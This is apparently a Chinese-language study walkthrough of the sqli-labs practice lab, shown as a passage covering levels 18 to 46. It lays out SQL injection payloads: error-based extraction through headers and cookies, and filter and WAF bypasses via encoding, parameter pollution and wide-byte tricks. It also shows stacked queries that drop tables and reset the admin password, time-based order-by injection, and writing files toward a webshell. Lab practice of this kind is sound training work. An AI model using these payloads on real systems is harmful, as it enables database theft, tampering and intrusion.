user-agent: 'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)) and'1'='1
//获取security数据库下第一个表名 emails
user-agent: 'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e)) and '1'='1
//获取security数据库下第二个表名 referers
......
可获取所有表名

user-agent: 'and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) and '1'='1
//获取users表中的列名
......
参考之前的playload

less19

查看本关卡的源码

1
2
3
4
5
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];


$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

可以看到,后台从服务器中获取了HTTP_REFERER,那就可以使用与less18一样的方式进行注入,但是需要从referer进行修改。

1
2
3
4
5
6
7
8
9
10
Referer: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and'1'='1
//获取数据库版本

Referer: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
//获取数据库名称

Referer: 'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)) and'1'='1
//获取数据库表名
......
参考上面的playload

less20

查看该关卡源码,发现cookie从username中获取值后,当再次刷新时,会从cookie中读取username,然后进行查询。得知后台流程后,就可以进行注入了。

先在登录时burpsuite拦截登陆报文,将登陆报文直接发送,后又有一个GET报文,如下图:

cookie成功获取uname,然后修改报文并发送

1
2
cookie: uname=admin' and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
//成功获取到数据库版本

其余注入方式跟前面的一样,但是只能在burpsuite(拦截报文和修改报文工具)上进行,不然会获取不到相应的信息。

less21

直接键入正确的账号密码进行结果测试,发现在形式上与less20一致,区别在于返回的cookie获取到的uname使用base64进行加密。

查看后台的源码

1
setcookie('uname', base64_encode($row1['username']), time()+3600);

所以我们在处理playload时先要将查询语句进行base64加密,然后与less20是一致的。然后再后端接受uname时对uname进行了单引号和括号处理。

1
2
3
//admin') and extractvalue(1,concat(0x7e,(select database()),0x7e))#

cookie:uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkj

这边有点奇怪,使用站长之家的base64加密方式放进去是无法注入出来的,最后使用的加密站点:https://www.bejson.com/enc/base64/才能注入出来,或许是加密的模式不一样吧。

less22

该关卡直接键入admin账号密码发现返回是跟less21是一样的,查看源码发现,只是将uname的处理进行了改变,uname进行了双引号的处理。

1
$cookee1 = '"'. $cookee. '"';

所以playload是跟前面一样的

1
2
//admin" and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
cookie:uname=YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSkpIw==

第二部分/page-2 Adv Injections

less23

界面的提示与less1一样

1
Please input the ID as parameter with numeric value

通过get方式进行传输参数ID,但是ID有什么特殊的处理,暂时还不知道。尝试通过id=1和id=1‘,发现有回显报错。

1
near ''1'' LIMIT 0,1' at line 1

查看源码:

1
2
3
4
5
6
7
8
9
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

通过源码发现,后端对id进行了#--注释符号进行过滤,并对id进行单引号处理。

1
http://localhost/sqli-labs-master/Less-23/?id=-1' union select 1,@@version,'3

此时sql查询语句为:

1
select * from users where id='-1' union select 1,@@version,'3' limit 0,1

explain:

  • id=-1,sql查询语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句,只有一个数据可以输出,为让我们构造的数据可以正常输出,第一个select要没有输出结果,所以使用-1或者超过整个数据库所有数据都可以

  • -1’ union select 1,@@version,’3 第一个(单引号)闭合-1,第二个'(单引号)闭合后面的,这样查询结果内容显示在username处

  • 此处还可以使用报错注入和延时注入,使用 or ’1‘=’1 进行闭合

    1
    http://localhost/sqli-labs-master/Less-23/?id=1' or extractvalue(1,concat(0x7e,database())) or '1'='1
1
2
3
4
5
6
7
8
9
10
//获取数据库名
http://localhost/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(schema_name)from information_schema.schemata),'3
//获取security数据库下的表格
http://localhost/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),'3
//获取users表中列名
http://localhost/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3
//获取用户名
http://localhost/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(username) from security.users limit 0,1),'3
//获取用户密码
http://localhost/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(password) from security.users limit 0,1),'3

less24

该关卡是二次排序注入的类型,二次排序注入也称为存储型的注入,就是讲可能导致sql注入的字符先y存储到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。二次排序注入的思路:

  • 通过构造ta数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务器进行处理,提交的数据报文请求中可能包含构造的sql语句或者命令
  • 服务器端应用程序将提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出相应
  • 向服务器发送第二个与第一个不同的请求数据信息
  • 服务端收到提交的第二个请求信息后,为处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致第一次请求中构造的sql语句或者命令在服务器中被执行。
  • 服务器返回执行的处理结果数据信息,可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

在该关卡中,我们主要的步骤是注册一个admin‘#的账号,接下来登陆该账号后进行修改密码,此时被修改的是admin密码。查看后端的源码:

pass_changge.php

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

当修改admin’#密码时,将会执行

1
update users set password='$pass' where username='admin'#' and password='$curr_pass'";

发现只会执行前半部分,即

1
update users set password='$pass' where username='admin'

具体步骤

(1)初始数据库:

(2)创建admin‘#账号

此时查看数据库中的用户信息

(3)登录admin’#账号,并修改密码

(4)查看数据库中的变化

可以看到数据库中已经将admin的密码改为123456

(5)使用admin 123456进行登录

已经成功登录

less25

关键代码如下:

1
2
3
4
$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

本关卡主要是or and过滤,学习怎么绕过or和and过滤,一般是以下几个思路:

  • 大小写变形 Or,OR,oR
  • 编码,hex,urlencode
  • 添加注释 /*or*/
  • 利用符号 and=&& or=||
  • 双写,oorr anandd

本关卡主要使用的是第四个方法

报错注入 or示例

1
http://172.18.9.91/sqli-labs-master/Less-25/?id=1'|| extractvalue(1,concat(0x7e,database()))-- +

And示例

1
http://172.18.9.91/sqli-labs-master/Less-25/?id=1 && 1=1

但是后面的查询我不是很了解,我所使用的双写+union联合查询

1
http://172.18.9.91/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(scheme_name) from infoorrmation_schema.schemata -- +

1
2
3
4
5
6
http://172.18.9.91/sqli-labs-master/Less-25/?id=-1'union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' -- +
//获取数据库表名
http://172.18.9.91/sqli-labs-master/Less-25/?id=-1'nion select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' -- +
//获取users表中的列名
http://172.18.9.91/sqli-labs-master/Less-25/?id=-1'union select 1,username,passwoorrd from users where id=5 -- +
//获取id5的用户信息

less25a

关键代码

1
2
3
4
$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id);

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

通过关键代码发现,该关卡主要没有包含对于id的单引号,同事没有输出错误项,报错注入不可使用,但是可以采用延时注入和联合注入的方式

1
http://172.18.9.91/sqli-labs-master/Less-25a/?id=-1 union select 1,@@version,3#

同样需要使用|| && 代替or and

1
http://172.18.9.91/sqli-labs-master/Less-25a/?id=20 || 1=1 -- +

其余联合查询的的playload与less25时一样的,只要将-1’的单引号去除就行

less26

tips:本关卡需要通过liunx环境进行测试,windows部分字符编码无法解析

关键代码

1
2
3
4
5
6
7
8
9
10
$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

本关卡将空格,or,and,/*,#,–,/等各种符号进行了过滤,and和or仍旧使用&& 和 || 进行处理,对于注释和结尾字符此处只能利用构造一个 来闭合后面的',对于空格,有较多的方法:

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB键(垂直)
%a0 空格

尝试playload:

1
http://172.18.9.91/sqli-labs-master/Less-26/?id=1'%a0||'1

explain:’%a0||’1

此处的 sql 语句为 SELECT * FROM users WHERE id=’1’ || ‘1’ LIMIT 0,1
第一个 ‘ 首先闭合 id=’$id’ 中的’ , %a0 是空格的意思, (ps: 此处我的环境是 ubun
tu14.04+apache+mysql+php, 可以解析%a0, 此前在 windows+wamp 测试, 不能解析%a0) 同时%0b 也是可以通过测试的, 其他的经测试是不行的。 ||是或者的意思,‘1 则是为了闭合后面的 ’ 。因此可以构造类似的语句

1
http://127.0.0.1/sqli-labs-master/Less-26/?id=100%27union%0bselect%a01,2,3||%271

接下来就只需要更改sql语句即可

less26a

该关卡依旧要在liunx环境下进行测试。

关键代码:

1
2
3
4
5
6
7
8
9
10
11
$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes


$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

这关与 26 的区别在于, sql 语句添加了一个括号, 同时在 sql 语句执行抛出错误后并
不在前台页面输出。 所有我们排除报错注入, 这里依旧是利用 union 注入。

1
http://127.0.0.1/sqli-labs-master/Less-26a/?id=1')union%a0select%a01,2,3||('1

explain: 基础与 26 一致, 我们直接用 ‘) 闭合前面的, 然后跟上自己构造的注入语句即
可。 最后利用(’1 进行闭合即可。

1
http://127.0.0.1/sqli-labs-master/Less-26a/?id=1')union%a0select%a01,user(),('3

可将 user()更换为你想要的 sql 语句。 同时该例可以利用延时注入。

less27

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select

本关卡主要考察union,select和上个关卡过滤掉的字符。上个关卡过滤字符参照上个关卡的处理方式,union,select使用大小写混合的方式进行绕过。

1
http://127.0.0.1/sqli-labs-master/Less-27/?id=100'unIon%a0SelEcT%a01,database(),3||'1

tips:uniunionon 也是可以突破限制的。 亦可以利用报错注入和延时注入的语法进行注入

less27a

通过源码发现该关卡与less27的主要区别在与id的处理,此处使用的是"进行处理,同时mysql错误不会回显。根据less27playload

1
http://127.0.0.1/sqli-labs-master/Less-27a/?id=100"unIon%a0SelEcT%a01,database(),"3

TIPs:这里说下以上 payload 我们利用最后的 3 前面的 “ 将后面的 “ 给闭合掉。 或者亦可以利用以前的方法 1,user(),3 || “1, 同时本关可以用延时注入的方法进行注入。

less28

关键代码:

1
2
3
4
5
6
7
8
9
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.

该关卡与less27差不多的处理,只是将id加了括号的处理,需要进行括号闭合

1
http://127.0.0.1/sqli-labs-master/Less-27/?id=1')union%a0select(1),(user()),(3)||'(1

less28a

1
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.

本关卡与less28一致,只是少点半部分的过滤条件

1
http://127.0.0.1/sqli-labs-master/Less-28a/?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271

Background-6 服务器(两层)架构

服务器端有两个部分,第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。主要的工作流程为:客户端访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。

环境安装参考:https://blog.csdn.net/qq_43579362/article/details/104298144

中间y有一步是进行sqli-labs进行数据安装步骤,发现无法连接本地数据库,参考博客:https://www.cnblogs.com/NexTen/p/7671280.html

安装完成且在虚拟机可正常访问后,查看kali虚拟机ip,并在物理机浏览器上可直接访问。

这边设计一个知识点,HPP漏洞,即http参数污染,是web容器处理http参数时的问题,比如说:

1
2
3
比如访问URL:http://www.xxx.com/index.php?str=hello此时,页面显示hello。但如果访问:http://www.xxx.com/index.php?str=hello&str=world&str=nmask此时,页面显示nmask,把前面参数的值给覆盖了,这就是http参数污染。

参考https://nmask.gitbooks.io/vulnerability-box/webying-yong-lou-dong/urlpath-pollution.html

也就是说当访问页面index.php?id=1&id=2,浏览器所解析显示的是哪个id参数,这要看是什么中间件,若是apache(php)解析的是最后一个参数,即id=2,若为Tomcat(jsp)解析的是第一个参数,即id=1

web服务器 参数获取函数 获取到的参数
PHP/Apache $_GET(“par”) Last
JSP/Tomcat Request.getParameter(“par”) First
Perl(CGI)/Apache Param(“par”) First
Python/Apache getvalue(“par”) All(List)
ASP/IIS Request.QueryString(“par”) All(comma-delimitedstring)

以上为大多数服务器对于参数解析的介绍

这边要注意一个问题,index.jsp?id=1&id=2请求,针对表格中的服务器配置情况,客户端请求首先过tomcat,tomcat解析第一个参数,然后tomcat去请求apache(php)服务器,apache解析最后一个参数,那最终返回客户端的会是哪个参数?实际上应为id=2的内容,应为时间上提供服务的是apapche(php)服务器,返回的数据也应该是apache处理数据,而在实际应用中,也是有两层服务器的情况。往往在tomcat服务器做数据过滤和处理,功能类似为一个WAF,而正因为解析参数的不同,此处可以利用该原理绕过WAF的检测。该用法就是HPP,http参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁。

less29

查看tomcat中的index.jsp文件

在apache的index.php中,sql语句为

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

因此根据HPP原理,直接上playload:

1
http://192.168.159.128:8080/sqli-labs/Less-29/index.jsp?id=1&id=-2' union select 1,user(),3 -- +

其余的playload就像less-1一样

1
2
3
4
5
6
7
8
http://192.168.159.128:8080/sqli-labs/Less-29/index.jsp?id=1&id=-2' union select 1,database(),3 -- +
//查询数据库名
http://192.168.159.128:8080/sqli-labs/Less-29/index.jsp?id=1&id=-2' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- +
//查询数据库security下的表名
http://192.168.159.128:8080/sqli-labs/Less-29/index.jsp?id=1&id=-2' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
//查询users表中列名
http://192.168.159.128:8080/sqli-labs/Less-29/index.jsp?ia=1&id=-2' union select username,password from users where id=3 -- +
//查询users表中id=3的用户名和密码

less30

less30的原理和less29原理是一致的,区别在与less30中的sql查询语句对id进行了处理

所以我们的playload没有太大的变化

1
2
3
4
5
6
7
8
http://192.168.159.128:8080/sqli-labs/Less-30/index.jsp?id=1&id=-2" union select 1,2,database() -- +
//查询数据库名 security
http://192.168.159.128:8080/sqli-labs/Less-30/index.jsp?id=1&id=-2" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- +
//查询数据库security下表名
http://192.168.159.128:8080/sqli-labs/Less-30/index.jsp?id=1&id=-2" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'-- +
//查询users表中的列名
http://192.168.159.128:8080/sqli-labs/Less-30/index.jsp?id=1&id=-2" union selecr 1,username,password from users where id=3
//查询users表中id=3的用户名和密码

less31

less31与前面两个关卡注入方式是一样的,区别在于id的处理上

所以playload为

1
2
3
4
5
6
7
8
http://192.168.159.128:8080/sqli-labs/Less-31/index.jsp?id=1&id=-2") union select 1,2,database() -- +
//查询数据库名称
http://192.168.159.128:8080/sqli-labs/Less-31/index.jsp?id=1&id=-2") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- +
//查询数据库security中表名
http://192.168.159.128:8080/sqli-labs/Less-31/index.jsp?id=1&id=-2") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- +
//查询users表中列名
http://192.168.159.128:8080/sqli-labs/Less-31/index.jsp?id=1&id=-2") union select 1,username,password from users where id=3 -- +
//查询users表中id=3的用户名和密码

总结:从上面的三个关卡,我们获知在不同的服务器总对于参数的处理时不同的,HPP的应用有很多,不仅仅上上述的WAF一个方面,还可执行重复操作,可以执行非法操作等。同事针对WAF的绕过,这边只是一小部分,还有许多方面可以进行研究。

Background-7 宽字节注入

less-32,33,34,35,36,37六个关卡是针对'\的过滤。宽字节注入的原理和方法:

原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如:%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。在过滤 '的时候往往利用的思路就是将 '转换为\'(通过转换函数进行)

因此在此想办法将'前面添加的\除掉,一般是通过以下两种思路:

  • %df除掉\,具体原因是urlencode('\) =%5c%27,在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此时%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到目的
  • \'中的\过滤掉,例如可以构造%**%5c%5c%27的情况,后面的%5会被前面的%5c给注释掉,这也是一种bypass的一种方法

less32

利用上述的原理,尝试一下playload:

1
http://172.18.9.91/sqli-labs/Less-32/?id=-1%df' union select 1,2,database() -- +

有个奇怪的地方,使用kali2020中(即上一个背景环境)进行测试发现是没有返回数据,通过原先(即前面二十几个关卡的环境)是可以返回原先的值,原因不知道是什么,是因为kali2020自带的mysql数据库是MariaDB的原因吗?

可以看到,已经绕过了对于'的过滤,从源代码进行考虑:

上述函数为过滤' \的函数,将'转为\',将\转为\\,将"转为\"。因此此处只能考虑background中的第一个思路,添加%df后将%5c吃掉即可。从上图的input HEX中可以看到df5c27,此处已经将df5c看成是一个字符。

less33

本关卡和上关卡的playload是一样的

1
http://172.18.9.91/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,database()--+

从源码中看到:

此处过滤使用的函数为addslashes(),该函数返回在预定义字符之前添加反斜杠的字符串,其中预定义字符为:

  • 单引号(’)
  • 双引号(“)
  • 反斜杠(\)

tips:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
Addslashes()函数和我们在 32 关实现的功能基本一致的, 所以我们依旧可以利用%df 进行绕
过。
Notice: 使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式, 才能防御此漏洞。
Mysql_query(“SET
character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

less34

本关卡是post型注入漏洞,同样的也是将post内容进行'\的处理,由上面的例子可以看到这边的方法就是将过滤函数添加\吃掉。而get型的方式通过url形式提交,数据会通过urlencode,将该方法用在post型注入中,思路是将utf-8转换为utf-16或者utf-32,例如将 ‘ 转换为utf-16为� ‘ ,就可以利用这个方式进行尝试。

此关卡使用万能密码的方式进行突破。

通过burpsuite进行拦截报文,并将其进行修改成相应的参数,进行注入:

通过结果图可以看到,在没使用密码的情况下获知了账号密码。

原始的 sql 语句为

1
2
@$sql="SELECT username, password FROM users WHERE username='$uname'
and password='$passwd' LIMIT 0,1";

此时 sql 语句为

1
2
SELECT username, password FROM users WHERE username='admin� ' or 1#' and
password='$passwd' LIMIT 0,1

Explain: SELECT username, password FROM users WHERE username=’admin� ‘ or 1
起到作用, 后面的则被#注释掉了。 而起作用的的语句不论 select 选择出来的内 容是什么与 1 进行 or 操作后, 始终是 1。

通过修改limit 后面的数字进行查询不同用户的账号密码。

less35

less35和less33大致是一样的,唯一的区别在于sql语句的不同。

1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

区别在于id没有经过单引号的处理,所以没有必要考虑check_addslashes()函数的意义,直接提交playload

1
http://172.18.9.91/sqli-labs-master/Less-35/?id=-1 union select 1,2,database() -- +

less36

从源码看到,在后端check_quotes()函数是利用mysql_real_escape_string()函数进行的过滤。mysql_real_escape_string()函数转义SQL语句中使用的字符中的特殊字符,下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • \x1a

如果成功,则该函数返回被转义的字符串,如果失败,则返回false。但是mysql并没有设置成gbk,所以mysql_real_escape_string()依旧可以突破,方法和上述是一样的。

playload:

1
http://172.18.9.91/sqli-labs-master/Less-36/?id=-1%EF%BF%BD'union select 1,2,database()--+

此时使用的'的utf-16进行突破的,也可使用%df进行。

playload:

1
http://172.18.9.91/sqli-labs-master/Less-36/?id=-1%df'union select 1,2,database()--+

tip:在使用mysql_real_escape_string()时,要防护这种问题,只需将mysql设置为gbk即可。设置的代码为:

1
Mysql_set_charset('gbk','$conn')

less-37

本关卡与34关卡是大致的,区别在于处理post内容使用的mysql_real_escape_string()函数,而不是addslashes()函数,但是原理是一致的。依旧使用万能密码进行突破。

看到是可以正常登陆的。

总结:从上面几个关卡可以总结一下过滤'\常用的三种方式是直接replace,addslashes(),mysql_real_escape_string()。三种方式仅仅依靠一个函数是不能完全防御的,所以在编写代码时需要考虑得更加仔细。

第三部分/page-3 Stacked injection

Background-8 stacked injection

Stacked injections:堆叠注入。从词面的含义就可以看到是一堆sql语句(多条)一起执行,而在真实的运用中也是这样的,在mysql中,主要是命令行中,每一条语句结尾加;表示语句结束。这样就想到是不是可以多句一起使用,这个就叫做stack injection。

0x01 原理介绍

在sql中,分号(;)是用来表示一条sql语句的结束,试想一下在 ; 结束一个sql语句后构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者的区别在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

例如:

用户输入:
1;delete from products

服务器端生成的sql语句为:(因为对输入的参数进行过滤)
Select * from products where productid=1;delete from products

当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

0x02 堆叠注入的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。堆叠注入可以使用的平台:

虽然堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美,在web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,在前端界面是无法看到返回结果的。

因此,在读取数据时,还是建议使用union(联合)注入。同时在使用堆叠注入之前,需要知道一些数据库相关的信息,例如表名,列名等信息。

0x03 Mysql示例

(1)新建表格 select * from users where id=1;create table test like users;

这边看见是已经创建成功,验证一下:

(2)删除上面新建的test表,select * from users where id=1;drop table test;

(3)查询数据 select * from users where id=1;select 1,2,3;

(4)修改数据 select * from users where id=1;insert into users(id,username,password) values(‘100’,’new’,’new’);

less-38

本关卡就是使用stacked injection的相关知识,在执行select时的sql语句为:

1
SELECT * FROM users WHERE id='$id' LIMIT 0,1;

可以直接构造如下的playload:

1
http://172.18.9.91/sqli-labs-master/Less-38/index.php?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

可以看到数据库表中已经将刚刚内容插入进去了。

less39

和less38的区别在于sql语句的不一样

1
SELECT * FROM users WHERE id=$id LIMIT 0,1

也就是id没有进行处理。构造如下playload:

1
http://172.18.9.91/sqli-labs-master/Less-39/?id=1;insert into users(id,username,password) values ('39','less39','hello')--+

通过数据库查看添加的内容:

less40

本关卡的sql语句为:

1
SELECT * FROM users WHERE id=('$id') LIMIT 0,1

根据sql语句构造相应的playload:

1
http://172.18.9.91/sqli-labs-master/Less-40/index.php?id=1');insert into users(id,username,password) values ('40','less40','hello40')--+

less41

此处与less39是一致的,区别在于41错误不会回显,所以这边是盲注。

playload:

1
http://172.18.9.91/sqli-labs-master/Less-41/index.php?id=1; insert into users(id,username,password) values ('41','less41','hello41')--+

less42

update更新数据之后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生改变。在select调用的时候才能发挥作用,所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。从login.php源码进行分析:

Password变量在post过程中,没有通过mysql_real_escape_string()函数的处理,因此在登录的时候密码选项可以进行攻击。

登录用户名随意

密码使用:

c';drop table me#    (删除me表)
c';create table me like users#    (创建me表)

在注入前先查看原来security数据库中的表:

在登录界面随便输入内容,然后使用burpsuite拦截报文,并做相应的修改

当报文发送到后台时,原sql语句为:

1
SELECT * FROM users WHERE username='$username' and password='$password'

通过playload构造的sql语句为

1
SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#

利用stacked injection,进入命令行查看是否成功创建表格。

利用c’;drop table less42#作为登录密码,删除该表。

同样的利用此方式可以更新和插入数据项。这边演示通过update进行更改用户admin的密码,然后登录。

less43

本关卡从源码来看与less42是一样的原理,主要的区别在于sql语句的不一样。在本关卡sql语句为:

1
SELECT * FROM users WHERE username=('$username') and password=('$password')

登录

username:admin
password:1');update users password='less43' where username='admin'#

具体的演示就不做了,跟上面的一样。

less44

本关卡是基于盲注的,主要是没有报错信息,所以采用盲注的方式,但是我觉得有没有报错信息在堆叠注入好像并没有多大关系,也没有看是什么报错,主要还是构造号后面的注入语句。

登录

username:admin
password:1';update users password='less44' where username='admin'#

具体参看less42

less45

本关卡是less43基于盲注的,所以playload是与less43一致,只不过less45没有报错信息,但是并不影响结果。

登录信息:

username:admin
password:1';update users password='less45' where username='admin'#

Background-9 order by 后的injection

less46

本关卡开始,是通过order by相关注入知识

该关卡的sql语句为

1
SELECT * FROM users ORDER BY $id

尝试?sort=1 desc或者asc,显示的结果不同,则表明可以注入。

从上面的结果看,是可以进行注入,上述的sql语句中可以看到,注入点在order by后面的参数中,而order by 不同于的where后面的注入点,不能使用union等进行注入。关于order by注入的方式,先查看下mysql的官方文档:

可利用order by后的一些参数进行注入:

首先:

(1) order by后的数字可以作为一个注入点,也就是构造order by 后的一个语句,让该语句执行结果为一个数,尝试

1
http://172.18.9.91/sqli-labs-master/Less-46/?sort=right(version(),1)

没有报错,但是right换成left是一样的,说明数字没有起到作用,考虑使用布尔类型,此时可以使用报错注入和延时注入。

此处可以直接构造?sort=后面的一个参数,此时有三种形式

①直接添加注入语句,?sort=(select ***)

②利用一些函数,例如rand()函数等。?sort=rand(sql语句)

ps:这边看一下rand(true)和rand(false)得结果是不一样的

③利用and,例如?sort=1 and (加sql语句)

同时,sql语句可以利用报错注入和延时注入的方式,语句可以灵活构造。

报错注入例子:

1
http://172.18.9.91/sqli-labs-master/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

上述图片看到数据库用户名为root@localhost的用户名

使用rand()进行演示,前面看到rand(true)和rand(false)结果是不一样的。

1
http://172.18.9.91/sqli-labs-master/Less-46/?sort=rand(ascii(left(database(),1))=115)

1
http://172.18.9.91/sqli-labs-master/Less-46/?sort=rand(ascii(left(database(),1))=116)

从上面的两个图对比rand(true)和rand(false)的结果看。报错注入是成功的。

延时注入的例子:

1
2
http://172.18.9.91/sqli-labs-master/Less-46/?sort= (select if(substring(current,1,1)=char(115),benchmark(50000000,md5('1')),null) from (select database() as current) as tb1)
http://172.18.9.91/sqli-labs-master/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))

上述两个延时注入的例子可以看出明显的看出时间的不同。

同时也可以使用?sort=1 and 后添加注入语句

(2)procedure analyse 参数后注入

利用procedure analyse参数,可以执行报错注入,同时,在procedure analyse和order by 之间可以存在limit 参数,实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

1
http://172.18.9.91/sqli-labs-master/Less-46/?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

(3)导入导出文件 into outfile参数

1
http://172.18.9.91/sqli-labs-master/Less-46/?sort=1 into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\test1.txt"

将查询结果导入到文件中:

这时就可以使用上传网马,利用lines terminated by

1
